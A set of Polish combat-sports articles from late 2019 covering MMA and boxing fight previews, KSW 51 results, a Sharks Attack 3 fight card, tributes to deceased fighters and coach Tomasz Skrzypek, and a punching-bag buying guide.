Mamed Khalidov na swoich plecach dźwigał ogromny ciężar. Szedł jak burza w KSW i w efektowny sposób pokonywał kolejnych rywali. Był mistrzem w wadze półciężkiej i średniej. Z czasem jego występy rozczarowywały, co miało swoje odbicie w negatywnych ocenach. Gwizdy po walce z Azizem Karaoglu, choć zwycięskiej, były bardzo wymowne. Po tej wygranej Khalidov pokonał na KSW 39 Borysa Mańkowskiego. Kolejne jego występy wywróciły dotychczasowy porządek. 3 marca 2018 roku podczas KSW 42 wielka postać organizacji została poddana przez Tomasza Narkuna. Rewanż odbył się dziewięć miesięcy później w Gliwicach. "Żyrafa" ponownie lepszy.

Pewien porządek został obalony. Okazało się, że Khalidova można pokonać. Nie jest niezwyciężonym królem. Druga porażka z Narkunem obnażyła 39-latka urodzonego w Groznym. Wydawało się, że to silny facet, który wchodzi do klatki i wygrywa. Po drugiej porażce z Narkunem, Khalidov ogłosił zakończenie kariery. Wyszło na jaw, że ma problemy, z którymi musi się zmierzyć. Jak każdy człowiek… Często wydaje nam się, że mistrzowie sportu są ponad pewne rzeczy. Tak nie jest… Też mają uczucia, też mają kłopoty, bolączki i strachy. Khalidov walczył z nerwicą, która przerodziła się w depresję. Udał się do specjalisty. Stan ten nie narodził się z dnia na dzień. Walka trwała kilka lat, każdego dnia były mistrz KSW musiał mierzyć się z problemami. Gdyby tego było mało w czerwcu Khalidov został zatrzymany i usłyszał aż 11 zarzutów. Został przesłuchany przez prokuraturę, a sąd odrzucił wniosek o areszt. W lipcu Khalidov ogłosił, że wraca do MMA.

KSW 52 będzie wyjątkowym wydarzeniem dla byłego czempiona organizacji. 39-latek zakończył karierę w Gliwicach i w tym samym mieście ją wznowi. 7 grudnia Khalidov zmierzy się w walce wieczoru ze Scottem Askhamem. To ogromne wyzwanie, gdyż Anglik świetnie radzi sobie w KSW. Wygrał przez nokaut trzy walki i zdobył pas w wadze średniej. Spotka się dwóch świetnych zawodników. Ten, który upadł i chce wrócić w wielkim stylu oraz ten, który jest na szczycie. Niezależnie od wyniku walki Khalidov i jego otwartość dała nam cenną lekcję. To obraz walki z problemami, mówienia o nich, stawienia im czoła. Czekamy zatem na KSW 52.

Fot. materiały prasowe

KM

Joshua czeka na pokłony

Temperatura rośnie z dnia na dzień. Oczywiście nie na zewnątrz, mówimy o emocjach czysto sportowych związanych z walką, do której dojdzie 7 grudnia w Diriyah Arenie. Andy Ruiz Jr. będzie bronił mistrzowskich pasów WBA, IBF, WBO i IBO w starciu z Anthony'm Joshuą.

Ruiz Jr. wykorzystał swoją szansę i stał się pierwszoplanową postacią kategorii królewskiej. Pierwotnie 1 czerwca br. niepokonany Anthony Joshua miał rywalizować z Jarrellem Millerem. Wszystko było dogadane, jednak w organizmie Amerykanina wykryto obecność zakazanego środka. W takiej sytuacji konieczne było poszukiwanie zastępstwa i wybór padł na Ruiza Jr. Miało być łatwo, miło i przyjemnie, a tymczasem Brytyjczyk już w trzeciej odsłonie zapoznał się z deskami. 30-letni Meksykanin sprawił niespodziankę i w siódmej rundzie znokautował czempiona. Sensacja – tak najczęściej określano rozstrzygnięcie pojedynku. Co istotne, Ruiz Jr. miał miesiąc na przygotowania i intensywnie trenował, aby wykorzystać nadarzającą się szansę.

Pół roku po porażce Joshua wraca i chce odzyskać utracone tytuły. 7 grudnia walka odbędzie się w… Arabii Saudyjskiej. Warto wspomnieć, że pierwsze starcie miało miejsce w Madison Square Garden w Nowym Jorku. Dla Brytyjczyka był to pierwszy pojedynek poza ojczyzną. Debiut w Stanach Zjednoczonych zakończył się porażką, więc teraz czas na nowy teren.

Lokalizacja rewanżu wydaje się ciekawa i rzecz jasna chodzi o jak najszerszą promocję boksu. Z pewnością emocje sięgną zenitu, bo w grze są cztery mistrzowskie pasy. Joshua ciężko trenował i jest naładowany energią, która ma wyzwolić się w ringu. – Najwyraźniej walczę z najlepszym zawodnikiem w kategorii. Kiedy go pokonam chcę, żeby wszyscy mi się pokłonili – mówi „AJ”.

W zawodowej karierze Joshua odniósł 22 zwycięstwa, w tym 21 przed czasem. "AJ" chce poprawić swój dorobek i udowodnić, że to on jest najlepszy. – Wiem, co muszę zrobić i przygotowałem się najlepiej do walki. Wydajność prowadzi do zwycięstwa – podkreśla Joshua. Wiadomo, że mistrz tanio skóry nie sprzeda. Ruiz Jr. świętował swój sukces, co odbiło się na jego wadze, ale teraz gubi kilogramy i szykuje formę na rewanż. Pytanie – kto komu będzie musiał oddać pokłon?

Fot. Anthony Joshua Facebook

KM

SHARKS ATTACK #3: Mysłowice – 30.11.2019

Przed Wami kolejna, trzecia już edycja gali Sharks Attack.

Sharks Attack 3, jak zwykle w swoim dobrze wypracowanym stylu tym razem zakotwiczy w Mysłowicach w hali MOSiR ul. Bończyka 32z. Karta walk to 12 pojedynków. 10 w formule MMA oraz 2 w formule K1 w obronie pasów mistrzowskich wywalczonych na poprzednich galach Sharks Attack w grudniu 2018  przez Rafała Kosiarskiego oraz Dominike „Zośkę Filec” w maju 2019. Karta wstępna to 4 pojedynki w formule semi-pro, karta główna to 8 pojedynków w formule pro. W octagonie zobaczymy lokalnych zawodników takich jak: Mariusz Radziszewski, Alan Langer, Michał Cichoń czy też Krzysztof Bąkowicz i Daniel Hodor

Start 19.00 – planowane zakończenie 22.30

Ring Announcer – Dawid Kutryn

Skład sędziowski poprowadzi – Piotr Jarosz

Cutman – Tomasz Skarżyński

Walki komentować będą: Zbigniew Zając i Maciej ALF Glabus

W studio telewizyjnym  zasiądzie m.in.: Adrian Bober, Sylwia Juśkiewicz, Ewa Pietrzykowska, Sebastian Kotwica czy też Artur „Kornik” Sowiński                                                                           

KARTA WALK

SHARKS ATTACK3 MYSŁOWICE 30.11.2019

1. Main event – walka o pas zawodowego MP K-1 ISKA – 57 kg

Dominika Filec/Absortio Gym Rybnik/Leszczyny vs Barbara Nalepka/Fighter Wrocław

2. Co main event – MMA – Pro -79 kg

Mariusz Radziszewski/Shark Top Team Bytom vs Anatoly “DOCTOR” Safronov/Master MMA Kharkov Ukraina

3. Walka o pas zawodowego MP K-1 ISKA – 68 kg

Rafał Kosiarski/Klub Kick Boxing Fighter Nowa Sól vs Patryk Magnucki/Strefa Sportów Walki Artfight Rzeszów

4. Extra Fight MMA – Pro -73 kg

Alan Langer/Silesian Cage Club vs Andrey Krasnikov/Fighter Way Ukraina

5. MMA – Pro -73 kg

Oskar Herczyk/Baltic Fighters vs Michał Cichoń/Shark Top Team Bytom

6. MMA – Pro – 68 kg

Michał Domin/Octagon Team Żory vs Daniel Hodor/MMATADORES Katowice

7. MMA – Pro – 84 kg

TBA vs Mateusz Gątek/MMATADORES Katowice

8. MMA – Pro – 66 kg

Kamil Warzybok/Natal Gold Team Katowice vs Szymon Rakowicz/Octagon Team Żory

Karta Wstępna:

9. MMA Semi-pro – Open

Łukasz Stępień/Silesian Cage Club vs Krzysztof Bąkowicz/Shark Top Team Bytom

10. MMA Semi-pro – 57 kg

Paulina Wiśniewska/MMA Team Ostróda vs Barbara Grabowska/SWD Kraków

11. MMA Semi-pro – 80 kg

Alan Szymański/MMA Team Ostróda vs Kamil Szyndlar/Kotwica MMA Team

12. MMA Semi-pro – 57 kg

Katarzyna Samerdak/Shark Top Team Bytom vs Sandra Kulpa/Silesian Cage Club

Błachowicz nadchodzi

Zbliża się gala UFC Fight Night 164 w Sao Paulo. W akcji zobaczymy Jana Błachowicza, który zmierzy się z Ronaldo Souzą. Polak jest gotowy do podjęcia kolejnego wyzwania.

36-letni zawodnik pochodzący z Cieszyna jest niezwykle zdeterminowany. Przez długi czas wydawało się, że Błachowicz jest naturalnym kandydatem do starcia o pas wagi półśredniej z Jonem Jonesem. Polak w mediach społecznościowych podkreślał swoją gotowość do rywalizacji z Amerykaninem, ale władze UFC podjęły inną decyzję. Zestawiły Błachowicza z Ronaldo Souzą, który w Sao Paolo zadebiutuje w wadze półciężkiej. Brazylijczyk ma bogate doświadczenie w amerykańskiej organizacji, debiutował w niej ponad sześć lat temu. Zaczął świetnie, bo wygrał pięć walk z rzędu. Powstrzymał go w grudniu 2015 roku Yoel Romero. Obecnie Souza przeplata zwycięstwa porażkami. W tym roku przegrał z Jackiem Hermanssonem podczas UFC Fight Night 150.

Jan Błachowicz ma za sobą wspaniały pojedynek z Luki'em Rockholdem. Polak odniósł kapitalne zwycięstwo, a jego nokaut obiegł cały świat. W drugiej rundzie "Cieszyński Książę" potężnym lewym sierpowym powalił Rockholda. Były mistrz wagi średniej musiał uznać wyższość Polaka, dla którego było to siódme zwycięstwo w UFC. Teraz Błachowicz mierzy w ósmy triumf i wierzy, że przybliży go on do starcia o pas.

„Cieszyński Książę” ostrzega swojego najbliższego rywala Ronaldo Souzę. Choć Brazylijczyk będzie walczył na własnej ziemi, musi mieć świadomość, że czeka go niezwykle ciężka przeprawa. – Uważaj na siebie. Już idę. Jestem niebezpiecznym człowiekiem – podkreśla Jan Błachowicz w mediach społecnzościowych. Dodatkowo polski zawodnik MMA zamieścił film z nokautem z ostatniego pojedynku z Rockholdem.

16 listopada szykuje się ciekawy pojedynek. Błachowicz musi się mieć na baczności, bo Souza aż 14 pojedynków wygrał przez poddanie. Polak pokazał, że jest klasowym zawodnikiem, ale w Sao Paolo musi to potwierdzić.

Podczas gali UFC Fight Night 164 swoją trzecią walkę w amerykańskiej organizacji stoczy Ariane Lipski. Była zawodniczka KSW powalczy o pierwszy triumf. Jej rywalką będzie Priscila Cachoeira.

Fot. Jan Błachowicz Facebook/materiały prasowe

KM

KSW 51 – wyniki

Wyniki gali KSW 51:

Walka wieczoru | Main event

Mariusz Pudzianowski (13-7, 8 KO) pokonał Erko Juna (3-1, 3 KO) przez TKO, runda II

Karta główna | Main card

Borys Mańkowski (20-8-1, 3 KO, 8 SUB) pokonał Vaso Bakočevicia (39-19-1, 22 KO, 9 SUB) przez poddanie, runda I

Walka o pas kategorii koguciej | KSW Bantamweight Championship Bout

Antun Račić (24-8-1, 13 SUB) pokonał Damiana Stasiaka (11-7, 1 KO, 8 SUB) przez większościową decyzję sędziów (47-47, 48-47, 48-46)

Daniel Torres (9-4-1NC, 4 KO, 1 SUB) pokonał Filipa Pejicia (14-3-2, 9 KO, 3 SUB) przez jednogłośną decyzję sędziów (30-27, 30-27, 29-28)
Ante Delija (17-3, 6 KO, 7 SUB) pokonał Oliego Thompsona (20-12, 12 KO, 4 SUB) przez TKO, runda II
Cezary Kęsik (10-0, 7 KO, 2 SUB) pokonał Aleksandara Ilicia (12-3, 8 KO, 2 SUB) przez duszenie, runda II
Ivan Erslan (8-0, 4 KO, 1 SUB) pokonał Darwina Rodrigueza (9-5, 6 KO, 3 SUB) przez TKO, runda I
Roman Szymański (12-5, 1 KO, 3 SUB) pokonał Miloša Janičicia (11-3, 6 KO, 5 SUB) przez jednogłośną decyzję sędziów (29-27, 29-27, 29-27)
Krystian Kaszubowski (8-1, 2 KO, 1 SUB) pokonał Ivicę Truščeka (38-33, 23 KO, 12 SUB) przez niejednogłośną decyzję sędziów (29-28, 28-29, 29-28)
Sebastian Przybysz (6-2, 3 KO, 1 SUB) pokonał Lemmy'ego Krušicia (20-7, 5 KO, 7 SUB) przez jednogłośną decyzję sędziów (29-28, 30-27, 30-26)

Pamiętamy

1 listopada zmierzamy na cmentarze, aby zapalić znicze i położyć kwiaty na grobach bliskich. W uroczystość Wszystkich Świętych w sposób szczególny pochylamy się nad tajemnicą życia i śmierci. Wspominamy tych, których z nami nie ma. Pamiętamy o nich nie tylko dziś, ale każdego dnia, bo wywarli duży wpływ na rzeczywistość.

W minionym roku pożegnaliśmy wielu zasłużonych zawodników i trenerów zajmujących się sportami walki. Do dziś trudno się otrząsnąć i pogodzić z odejściem Tomasza Skrzypka. Pierwszy zawodowy mistrz Polski w kickboxingu, trener reprezentacji Polski w K-1 i wielu mistrzów odszedł w wieku zaledwie 52 lat. 20 listopada 2018 roku w pożarze domu zginął Andrzej Gmitruk. Jeden z czołowych trenerów bokserskich przez wiele lat był związany z warszawską Legią, prowadził grupę O'chikara Gmitruk Team. Andrzej Gmitruk pracował m.in. z Krzysztofem Kosedowskim, Andrzej Gołotą czy Tomaszem Adamkiem. Odszedł w wieku 67 lat.

12 lutego w wieku 76 lat zmarł olimpijczyk z Meksyku z 1968 roku Lucjan Trela. Polski bokser w 1/8 stoczył zacięty bój z George'em Foremanem. Trela zapisał na swoim koncie wiele medali mistrzostw Polski. W marcu w wieku zaledwie 51 lat odszedł brązowy medalista igrzysk olimpijskich w Seulu z 1988 roku Jan Dydak. Bokser miał w swoim dorobku również trzecie miejsce na mistrzostwach świata i Europy w 1991 roku. Zaledwie 56 lat przeżył zapaśnik Mieczysław Tracz. Wielokrotny złoty medalista mistrzostw Polski, czwarty zawodnik mistrzostw Europy w 1985 roku. W lipcu pożegnaliśmy Pawła Szwedziaka. Wielokrotny medalista mistrzostw Polski w judo oraz trener zmarł przeżywszy 60 lat. W wieku 55 lat w wyniku obrażeń odniesionych w wypadku, został potrącony przez samochód, zmarł Pernell Whitaker. Amerykanin zapisał na swoim koncie złoty medal olimpijski w Los Angeles w 1984 roku. Był także czempionem WBC w wadze lekkiej, IBF, WBC i WBA w junior półśredniej.

Sporty walki to zacięta i efektowna rywalizacja, która jest obarczona ogromnym ryzykiem utraty zdrowia i życia. W ciągu ostatnich miesięcy byliśmy świadkami wielu tragedii. 16 października w wieku zaledwie 27 lat zmarł Patrick Day. Przyczyną śmierci były obrażenia, których pięściarz doznał w przegranej walce z Charlesem Conwellem. W lipcu otrzymaliśmy dwie smutne informacje. W wieku 28 lat zmarł Maksim Dadaszew. Rosjanin ambitnie walczył, ale trener po jedenastu rundach starcia z Subrielem Matiasem poddał zawodnika. Halę Rosjanin opuścił na noszach, przeszedł operację mózgu, ale nie udało się go uratować. Zaledwie 23 lata przeżył Hugo Santillan. Przyczyną śmierci boksera było zatrzymanie krążenia. 20 lipca stoczył swoją ostatnią walkę, zmarł pięć dni później. W wieku 38 lat odszedł Dawid Kostecki, którego znaleziono martwego w areszcie. Utalentowany pięściarz stoczył 41 walk, jednak miał liczne problemy z prawem.

W październiku w wyniku obrażeń odniesionych na gali ACA 100 zmarł Bekzod Nurmatov. Zawodnik MMA miał zaledwie 27 lat. 25 września odeszła Katy Collins. Zawodniczka rywalizująca w MMA zmarła w wieku 32 lat. Godzinę po walce na gali MMA w Brazylii zmarł Mateus Fernandes. Miał zaledwie 22 lata. Wedle nieoficjalnych informacji zawodnik przed pojedynkiem zażył narkotyki.

Jack Hatton przygotowywał się do igrzysk olimpijskich w Tokio. 24 września amerykański judoka nagle zmarł, miał 24 lata. Mistrz świata z Kairu, wicemistrz z Osaki w judo Craig Fallon odszedł w wieku 36 lat.

Pamiętamy i pamiętać będziemy. W naszych sercach pozostają również wybitni przedstawiciele sportów walki: Józef Warchoł, Jerzy Kulej, Zbigniew Pietrzykowski, Józef Grudzień, Muhammad Ali, Henryk Średnicki, Anton Geesink, Joe Frazier.

KM

Jaki worek treningowy wybrać?

Szukasz worka treningowego do wyposażenia swojej domowej siłowni? A może chciałbyś rozpocząć ćwiczenia bokserskie w domu, ale nie wiesz, jaki worek będzie dla Ciebie odpowiedni? Szukając worka należy zwrócić uwagę na szereg czynników tj.: rozmiar, przeznaczenie, cena czy materiał wypełniający. W tym artykule dowiesz się, jaki worek treningowy kupić.

Worek treningowy może być doskonałym urządzeniem do ćwiczeń nie tylko dla osób, które trenują sztuki walki. Ćwiczenia z workiem to świetny sposób na wzmocnienie całego ciała, pozbycia się zbędnych kilogramów, zwiększenia kondycji. Podczas pracy z workiem używamy wielu grup mięśniowych, co korzystnie wpływa na nasz wygląd i samopoczucie. Nie ma lepszego sposobu na wyładowanie agresji i negatywnych uczuć niż kilka rund na worku treningowym.

Rodzaje worków treningowych:

Jeżeli po tym, co przeczytałeś jesteś zainteresowany zakupem worka treningowego do ćwiczeń w domu porozmawiajmy trochę o rodzajach worków, które możemy znaleźć na półkach sklepowych.

Podstawowym workiem treningowym jest worek bokserski – najpopularniejszy, najbardziej charakterystyczny rodzaj worka. Najczęściej podwieszany do sufitu na łańcuchach (ewentualnie taśmach) o kształcie przypominającym walec. Dostępne w różnych rozmiarach i rodzajach wypełnienia – o tym porozmawiamy sobie w osobnym akapicie, zaznaczmy jednak, że w ofercie wielu sklepów znajdziemy worki treningowe dla dzieci, które różnią się od tych standardowych przede wszystkim rozmiarem i wagą.

Kolejny rodzaj worka to worek do MMA – imitujący ludzką sylwetkę, przeznaczony do trenowania ciosów, kopnięć oraz walki w parterze. Zdarza się, że worki do MMA także pozwalają na podwieszenie do sufitu na elastycznych taśmach. Przy zakupie warto zwrócić uwagę, czy istnieje możliwość ich odczepienia.

Do poprawienia refleksu przeznaczona jest tzw. gruszka bokserska. Czasami jest wykorzystywana w warunkach domowych, gdy brakuje miejsca na klasyczny worek bokserski.

Jeżeli brakuje Ci miejsca, lub nie masz możliwości podwieszenia worka możesz zwrócić uwagę na worki bokserskie stojące. Jest to worek umieszczony na solidnej podstawie i bardzo ciężkim odważniku, dzięki czemu nie przewraca się podczas zadawania ciosów.

Rozmiary worków treningowych

Jeżeli wiemy, jaki worek treningowy kupić porozmawiajmy trochę o ich rozmiarach. Dobór rozmiaru powinien rozpocząć się od naszego wzrostu i ustalenia tego, co chcemy na nim trenować:

  • ciosy rękoma – worek 70 – 100 cm 
  • trenowanie kopnięć middle-high – 120-150cm
  • trenowanie kopnięć – low kick – 180-200cm

Warto tutaj wspomnieć także o optymalnych rozmiarach worków dziecięcych, które oscylują w granicach 70-90cm.

Na co jeszcze zwrócić uwagę?

Wybierając worek treningowy warto sprawdzić wcześniej jego wagę. Dla osób początkujących przeznaczone są worki o wadze od 25-30kg, na takim worku można spokojnie ćwiczyć bez ryzyka odniesienia kontuzji. Im nasz staż treningowy jest większy tym cięższy będzie nasz worek.

Na etapie zakupu możemy zdecydować także, czy chcemy worek pusty czy wypełniony odpowiednim materiałem. Puste worki łatwiej przewieźć, a ich zaletą jest możliwość regulacji ciężaru np. przez zmianę materiału wypełniającego. Worek wypełniony sprawia mniej problemów, gdyż otrzymujemy sprzęt gotowy do pracy, nie musimy martwić się jego wypełnieniem.

Jeśli już jesteśmy przy wypełnieniu – warto pamiętać, że w rodzaj wypełnienia wpływa na wagę worka i komfort treningu. Worek wypełniony materiałem lub trocinami jest miękki i lżejszy niż ten wypełniony ziemią czy piaskiem.

Podsumowanie

Zakup worka to koszt ok. 200zł, dlatego warto go odpowiednio przemyśleć, natomiast korzyści płynące z jego użytkowania bardzo szybko zwrócą nam poniesione koszty. Na koniec dodajmy, że jeżelii jesteś zupełnie początkujący możesz zwrócić uwagę na gotowe zestawy treningowe, dzięki czemu nie będziesz musiał zamartwiać się doborem sprzętu.

Briedis pod ścianą, komfort Głowackiego

Mało kto spodziewał się takiego rozstrzygnięcia. Protest obozu Krzysztofa Głowackiego po walce z Mairisem Briedisem został uznany. Federacja WBO nakazała powtórzenie pojedynku.

Skandal  tak najkrócej można przedstawić obraz starcia, do którego doszło 15 czerwca w Rydze. W półfinale World Boxing Super Series Łotysz uderzył Polaka łokciem, a ponadto po gongu, którego nie słyszał sędzia wymierzał mu kolejne ciosy. Obóz Głowackiego protestował, ale nadzieje na pozytywne rozstrzygnięcie były nikłe. Wszyscy szykowali się na finał WBSS, w którym Briedis miał zmierzyć się z Yunierem Dorticosem, a tu taka wiadomość. Federacja WBO nakazała ponowny pojedynek Łotysza z Głowackim w ciągu 120 dni. Nie brakowało zamieszania… Wewnątrz federacji doszło do przepychanek i decyzja stanęła pod znakiem zapytania, ale ostatecznie stosunkiem 2:1 ją podtrzymano. Sprawa jest prosta – Briedis decyduje się na pojedynek z Głowackim albo oddaje pas.

Pięściarz z Wałcza może być zadowolony z takiego obrotu sprawy. Trzeba dodać, że polski bokser znajduje się w komfortowej sytuacji. Krzysztof Głowacki i Ilunga Makabu zostali wyznaczeni do starcia o pasa mistrza świata WBC wagi junior ciężkiej. Decyzja WBO sprawia, że „Główka” ma wszystkie karty w ręku i wielkie szanse na wywalczenie kolejnego trofeum w karierze. – Euforia niesamowita, ale z wiekiem nauczyłem się, że nie ma co się „podpalać”, bo podejmowanie pochopnych decyzji bywa zgubne. Oczywiście pragnę tej walki, jednak poczekam na konkrety – napisał Głowacki w mediach społecznościowych po decyzji WBO.

Warto pochylić się nad Briedisem, który w czerwcu swoim zachowaniem nie wystawił sobie najlepszego świadectwa. W trakcie przygotowań do finału WBSS Łotysz otrzymał cios. Nie da się ukryć, że decyzja WBO nieco krzyżuje mu plany. Wybór jest po stronie łotewskiego obozu. Briedis może skupić się na finale WBSS, który planowano na 14 grudnia w Rydze. Teraz mówi się również o Moskwie bądź Arabii Saudyjskiej i styczniowym terminie. Łotysz jest w trakcie przygotowań do walki z Dorticosem i wydaje się, że na tym się skupi, co sugeruje jego menadżer Raimongs Zeps.

Tłem całej sprawy jest kultura i fair play. Zachowanie Briedisa ukazało dążenie do celu bez żadnego zastanowienia i poszanowania rywala. Wiadomo, że staje przed wielką szansą na zapisanie sie w historii i triumf w WBSS, ale niesmak po czerwcowym pojedynku pozostanie. Również to, co i jak mówił pięściarz. Decyzja jest po jego stronie. Wypada się tylko cieszyć, że w końcu los uśmiechnął się do Głowackiego. Bo jeśli rywalizować to na równych zasadach.

Fot. Krzysztof Głowacki Facebook

KM

Głowacki z szansą na pas

Krzysztof Głowacki będzie rywalizował o pas mistrzowski wagi junior ciężkiej WBC. Polak i Ilunga Makabu zostali wyznaczeni do pojedynku o tytuł.

Dla 33-letniego Głowackiego będzie to kolejna mistrzowska szansa. 14 sierpnia 2015 roku polski pięściarz pokonał w Prudential Center w Newark Marco Hucka i sięgnął po pas WBO. Pojedynek był niezwykle emocjonujący. Polak w szóstej rundzie padł na deski, ale wstał i dzielnie rywalizował o zwycięstwo. W jedenastej odsłonie mógł wznieść ręce w geście triumfu. Głowacki pokonał w pierwszej obronie Steve'a Cunninghama, jednak w drugiej lepszy okazał się Oleksandr Usyk. Ostatnie miesiące dla byłego mistrza WBO to rywalizacja w World Boxing Super Series. W ćwierćfinale Głowacki wygrał z Maksimem Własowem i sięgnął po tymczasowy pas WBO. Z kolei w półfinale, w kontrowersyjnych okolicznościach, doznał porażki w starciu z Mairisem Briedisem. Obóz Polaka składał protest, jednak bez efektu.

Jednak „nie ma tego złego, co by na dobre nie wyszło”. Minęło kilka miesięcy i przed Polakiem pojawiła się ciekawa perspektywa. Federacja WBC podjęła decyzję, że o pas mistrza świata wagi junior ciężkiej będą rywalizować Głowacki i Ilunga Makabu. Tytuł pozostaje bez właściciela po przejściu Oleksandra Usyka do wagi ciężkiej. Wydawało się, że po pas będą rywalizować finaliści WBSS, czyli Briedis i Yunier Dorticos. Władze federacji podjęły inną decyzję, co z pewnością cieszy polskich kibiców. W kwestii uzupełnienia, Makabu zajmuje pierwsze miejsce w rankingu WBC, Polak jest drugi.

Kilka słów o rywalu Głowackiego. 31-letni pięściarz z Demokratycznej Republiki Kongo ma na swoim koncie 26 zwycięstw, w tym 24 przed czasem oraz dwie porażki. W tym roku Makabu robi furorę na rosyjskich ringach. Na rozkładzie ma Dimitrija Kudriaszowa oraz Aleksieja Papina, z którym wygrał po zaciętym pojedynku dwa do remisu. Ostatni raz Makaby przegrał ponad trzy lata temu. Jego pogromcą był Tony Bellew. Co ciekawe, niedawno mówiło się, że bokser z Afryki może być potencjalnym przeciwnikiem Krzysztofa Włodarczyka.

Fot. Krzysztof Głowacki Facebook

KM

Wspomnienie Tomasza Skrzypka

Szok i niedowierzanie. Minęło kilka dni, ale nadal trudno uwierzyć, że nie ma wśród nas Tomasza Skrzypka. Człowieka, który oddał serce kickboxingowi.

Dlaczego? – to pytanie pierwsze ciśnie się na ustach. 13 października w wieku zaledwie 52 lat odszedł Tomasz Skrzypek. Zawsze uśmiechnięty, pogodny, dający mnóstwo energii, a do tego wzór profesjonalizmu i zaangażowania. Niejednokrotnie Tomasz Skrzypek mówił o swoich życiowych problemach, ale tak jak na fightera przystało – potrafił z nimi walczyć. Przezwyciężał słabości, choć nie było łatwo i szedł do przodu. Ciężko pracował i zawsze motywował swoich podopiecznych. Efekty były widoczne. Zawodnicy Tomasza Skrzypka wywalczyli ponad 40 medali mistrzostw świata i Europy.

Poświęcił swoje życie kickboxingowi, w którym osiągał sukcesy. Tomasz Skrzypek był pierwszym zawodowym mistrzem Polski w kickboxingu. Warto dodać, że po tytuł sięgnął w 1990 roku. Wielokrotnie zdobywał złote medale w krajowej rywalizacji. Prezentował się również na międzynarodowych ringach. Na swoim koncie zapisał wicemistrzostwo Związku Radzieckiego i mistrzostwo Bułgarii. Oba w 1990 roku. Tomasz Skrzypek trzykrotnie wystąpił w mistrzostwach świata. W 1992 roku założył klub Fighter Wrocław, którego zawodnicy zdobywają medale na świecie, w Europie i w kraju. Tomasz Skrzypek miał wspaniałe umiejętności trenerskie. Ostatnie lata to pasmo sukcesów jego podopiecznych. Wspaniały był dla niego 2017 rok, kiedy to podczas The World Games we Wrocławiu prowadzona przez Tomków Skrzypka i Mamulskiego kadra w K-1 wywalczyła siedem medali, w tym dwa złote. Kilka miesięcy później w Budapeszcie odbyły się mistrzostwa świata. Kolejny sukces – dziesięć medali i najlepszy wynik w historii. Wielokrotnie przyznawano mu nagrody za pracę trenerską.

Ciężko pogodzić się z odejściem Tomasza Skrzypka. Bo ludzie pełni pasji i energii inspirują. Dzięki nim mamy siłę i wierzymy, że się uda. Podejmujemy wyzwania. Tomasz Skrzypek walczył niejednokrotnie i zawsze prezentował upór, zawziętość i chciał osiągnąć cel. Wiadomo, że po drodze zdarzały się porażki. Tomasz Skrzypek nauczył swoich podopiecznych jak pięknie wygrywać. W 2017 roku we Wrocławiu przeżywał wyjątkowe chwile. Praca wielu osób, w tym Tomasza Skrzypka sprawiła, że o kickboxingu zaczęło się mówić w naszym kraju. Przestał być dyscypliną anonimową.

– Owoce jego ciężkiej pracy będą zbierane przez lata. Na zawsze pozostanie w naszej pamięci jako wspaniały sportowiec, trener i człowiek, który potrafił uporać się ze swoimi kłopotami życiowymi – podkreśla w wypowiedzi dla związkowej strony Andrzej Palacz, wieloletni trener i były prezes Polskiego Związku Kickboxingu. – Zapamiętam go jako człowieka pełnego energii, pasji i z ogromnym zamiłowaniem do naszego sportu – kickboxingu. Zawsze uśmiechnięty, pogodny, choć życie go nie rozpieszczało. Wyciągałem do niego rękę, on przyjmował pomoc i dziękował. Wiedział, że ma obok siebie ludzi, którzy mu pomogą – dodaje. Wielu osobom trudno pogodzić się z odejściem Tomasza Skrzypka. – Myślę o imprezie będącej upamiętnieniem Tomka Skrzypka, człowieka niezwykle oddanego kickboxingowi. Kilka tygodni temu spotkaliśmy się na Gali 30-lecia PZKB we Włocławku, jak zawsze był radosny, otwarty, a dziś już go nie ma. Nie mogę w to uwierzyć. Wracam wspomnieniami do rozmaitych turniejów i wyjazdów krajowych i zagranicznych, kiedy byliśmy zawodnikami i potem trenerami. Lubiliśmy się i szanowaliśmy połączyło nas zamiłowanie do kickboxingu – powiedział Piotr Siegoczyński, prezes PZKb w pożegnaniu zamieszonym na związkowej stronie.

Tomasz Skrzypek był wyjątkowym trenerem, który inspirował i uczył swoich zawodników. Prowadził ich na szczyt. – Trener i zawodnik to wyjątkowo mocna więź. Kiedy zostaje przerwana wali się cały świat… Mój się właśnie zawalił… przede mną jeden z najcięższych okresów w karierze, brak Ciebie u mojego boku to ogromny cios… ale nie po to uczyłeś mnie jak być twardym bym teraz się poddał! (pisownia oryginalna) – napisał w emocjonalnym wpisie Dominik Zadora.

Warto również wspomnieć, że Tomasz Skrzypek związany był z żużlem. Pracował jako trener przygotowania kondycyjnego w Sparcie Wrocław, a ostatnio w Fogo Unii Leszno.

W ostatniej drodze towarzyszyły mu tysiące osób. Na cmentarzu odpalono race. Wszyscy w zadumie oddali hołd Tomaszowi Skrzypkowi, który był wybitną postacią polskiego sportu. Pamięć nie ustanie!

Fot. pzkickboxing.pl

Włodarczyk zmierzy się z reprezentantem Gabonu

30 listopada w Zakopanem swoją 63. zawodową walkę stoczy Krzysztof "Diablo" Włodarczyk. Jego rywalem będzie Taylor Mabika.

Dla polskiego pięściarza będzie to drugi tegoroczny występ. W marcu w Łomży jednogłośnie na punkty pokonał Rumuna Aleksandru Jura. Dla Włodarczyka było to czwarte zwycięstwo z rzędu. Ostatnią porażkę "Diablo" zanotował dwa lata temu, kiedy to w Prudential Center w Newark przegrał z Muratem Gasijewem w ćwierćfinale turnieju World Boxing Super Series.

W kwietniu bokser przeszedł zabieg łąkotki w lewym kolanie, a następnie poddał się rehabilitacji. Warto wspomnieć, że "Diablo" urazu nabawił się podczas przygotowań do walki z Alexandru Jurą. Włodarczyk doszedł już do siebie i może myśleć o kolejnym pojedynku. Przed nim kilka tygodni intensywnych przygotowań, aby osiągnąć cel w postaci 58. wygranej w karierze.

Rywalem byłego mistrza świata WBC i IBF w kategorii junior ciężkiej będzie Taylor Mabika z Gabonu. Zawodnik z Afryki jest dwa lata starszy od Włodarczyka, ma 40. lat. Na swoim koncie Mabika zapisał 19 zwycięstw, w tym 10 przed czasem. Zanotował również cztery porażki i remis. Dwa ostatnie pojedynki Mabika zakończył jako przegrany. Na zwycięstwo Mabika czeka od czerwca 2018 roku, kiedy to pokonał Nuriego Seferiego. Zawodnik z Gabonu ma również na rozkładzie ostatniego rywala "Diablo" – Rumuna Alexandru Jura. Pięściarz ma za sobą występ w igrzyskach olimpijskich w Atenach, ale bez większego powodzenia, bo odpadł w pierwszej rundzie.  Dla boksera z Afryki walka z Włodarczykiem będzie kolejnym występem w Polsce. W 2013 roku w Rzeszowie uległ Krzysztofowi Głowackiemu.

